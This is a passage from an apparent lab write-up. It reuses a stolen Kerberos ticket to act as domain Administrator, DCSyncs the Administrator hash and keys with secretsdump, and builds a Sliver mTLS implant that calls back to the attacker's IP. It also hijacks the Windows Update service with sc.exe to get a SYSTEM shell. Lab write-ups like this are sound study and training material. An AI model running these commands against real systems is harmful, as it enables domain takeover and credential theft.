└──╼ [★]$ minikerberos-kirbi2ccache administrator.kirbi administrator.ccache
INFO:root:Parsing kirbi file /home/jimmex/HSM/Forensics/administrator.kirbi
INFO:root:Done!

Exporting the ticket:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ export KRB5CCNAME=administrator.ccache

Listing the principal we'll see it is the domain administrator:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ klist
Ticket cache: FILE:administrator.ccache
Default principal: Administrator@LAINOSCP.LOCAL

Valid starting Expires Service principal
09/11/2026 08:47:20  09/11/2026 18:47:20  krbtgt/LAINOSCP.local@LAINOSCP.LOCAL

First generate the krb5 file:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb DC01.LAINOSCP.local -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.1.106.76 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:LAINOSCP.local) (signing:True) (SMBv1:False) (Null Auth:True
) (DC:True)
SMB 10.1.106.76 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.1.106.76 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.1.106.76 445 DC01 [+] LAINOSCP.local\:

And as you can see we're domain administrator:

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ nxc smb DC01.LAINOSCP.local -u 'Administrator' -k --use-kcache
SMB DC01.LAINOSCP.local 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:LAINOSCP.local) (signing:True) (SMBv1:False) (Null Auth:
True) (DC:True)
SMB DC01.LAINOSCP.local 445 DC01 [+] LAINOSCP.LOCAL\Administrator from ccache (Pwn3d!)

For this lab we're asked for the domain admin hash and we got it using secretsdump:

Secretsdump uses DRSUAPI to remotely dump NTDS.DIT hashes, effectively a DCSync attack to get domain credentials.

bash
┌─[]─[10.200.93.122]─[jimmex@attacker]─[~/HSM/Forensics]
└──╼ [★]$ secretsdump.py LAINOSCP.local/Administrator@DC01.LAINOSCP.LOCAL -k -no-pass -just-dc-user Administrator
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:775842b655aa22ba5eb0043683c91045:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:ee7d05aa028bf2fd704705f46caf9914a36f37651176dac440a4b986f476b078
Administrator:aes128-cts-hmac-sha1-96:82cd95d1bbaa8d76a3abc30683f3da74
Administrator:des-cbc-md5:d08c4a2925b6dcbf
[*] Cleaning up...

Beyond Root

Trying Sliver with shared processes

First thing I will try is Sliver to know if this service type actually matters or if the handshake is what matters, not the type.

plaintext
[server] sliver > generate --mtls 10.200.93.122 --os windows --arch amd64 --format service --save service.exe

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 1m7s
[*] Implant saved to /home/jimmex/HSM/Forensics/service.exe

Then move it to the target, when trying to start it we got the same error:

plaintext
sc.exe start wuauserv
[SC] StartService FAILED 1083:

The executable program that this service is configured to run in does not implement the service.

And that was kind of expected, and here is why. Per Microsoft's own docs on StartServiceCtrlDispatcher:

For SERVICE_WIN32_SHARE_PROCESS services, each entry must contain the name of a service... For SERVICE_WIN32_OWN_PROCESS services, the service name in the table entry is ignored.

So when we run that binary, that's probably what happens:

  1. SCM looks up HKLM\SYSTEM\CurrentControlSet\Services\wuauserv and reads the ImagePath and starts it.
  2. And because it is shared, SCM needs to validate that whatever process comes up actually registers a ServiceMain entry named exactly wuauserv.
  3. So SCM calls CreateProcess() launching the service.exe.
  4. service.exe starts running, hits Sliver's code path, calls StartServiceCtrlDispatcher() and Sliver passes a SERVICE_TABLE_ENTRY with something hardcoded like this { lpServiceName = "Sliver", lpServiceProc = SliverServiceMain }, so it returns that error.

Sliver Codebase

Went through the Sliver codebase and found that when you generate a Windows service implant, the entire generation pipeline generate.SliverExecutablerenderSliverGoCode → template render → gogo.GoBuild treats --format service identically to --format exe. There is no service-specific generator. The only thing that makes the binary a service is a {{if .Config.IsService}} block inside the implant's own runner/main.go template, which calls:

go
svc.Run("", &sliverService{})

That empty string is the service name. It gets passed straight into golang.org/x/sys/windows/svc, which builds the SERVICE_TABLE_ENTRY dispatch table at runtime.

The psexec.go though has this, where it offers the option to name the service, which makes sense as it drops it directly to the SCM.

plaintext
psexec --profile <profile-name> --service-name wuauserv <target-host>

So bottom line, the process type actually matters for how the SCM operates, even if the image path doesn't point to the -k group or something. Let's fix it, I guess.

So been working on this for the last couple of days to make Sliver accept the option --service-name so it can build the table upon that name.

Long story short, you can find that version in the PR on the Sliver repo once I publish it. What I did was simply creating the exact same payload but after adding the option for it:

plaintext
generate --mtls 10.200.93.122 --os windows --arch amd64 --format service --service-name wuauserv --save wuauserv.exe

Then after uploading the payload and setting it up, you can notice that the process is still WIN32_SHARE_PROCESS and yet we have a session that didn't time out, and the fact that it already started and didn't show error 1083 is progress. Pasted image 20260912080347.png

One more proof, from the Sliver session itself. Pasted image 20260912081526.png

Trying to change the type

We'll first change the type:

plaintext
PS C:\Users\kanon\Documents> sc.exe config wuauserv type= own binPath= "C:\Users\kanon\Documents\service.exe"
sc.exe config wuauserv type= own binPath= "C:\Users\kanon\Documents\service.exe"
[SC] ChangeServiceConfig SUCCESS
PS C:\Users\kanon\Documents> sc.exe qc wuauserv
sc.exe qc wuauserv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wuauserv
        TYPE               : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\kanon\Documents\service.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Windows Update
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

And now it is WIN32_OWN_PROCESS, let's run it. Pasted image 20260912052441.png

We got a shell as you can see, but I don't think this is the best approach to do this OPSEC-wise (we aren't red teamers so we don't really care that much).

Even after changing the service to own, the Parameters still have the DLL.

plaintext
reg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv\Parameters\

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv\Parameters
    ServiceDll    REG_EXPAND_SZ    %systemroot%\system32\wuaueng.dll
    ServiceDllUnloadOnStop    REG_DWORD    0x1
    ServiceMain    REG_SZ    WUServiceMain

PS C:\Users\kanon\Documents> 

Meaning all you have to do to bring this back again is to flip it to shared and set its image path to svchost with the netsvcs group.

Path

That's what we did in this Lab Pasted image 20260912104209.png

Resources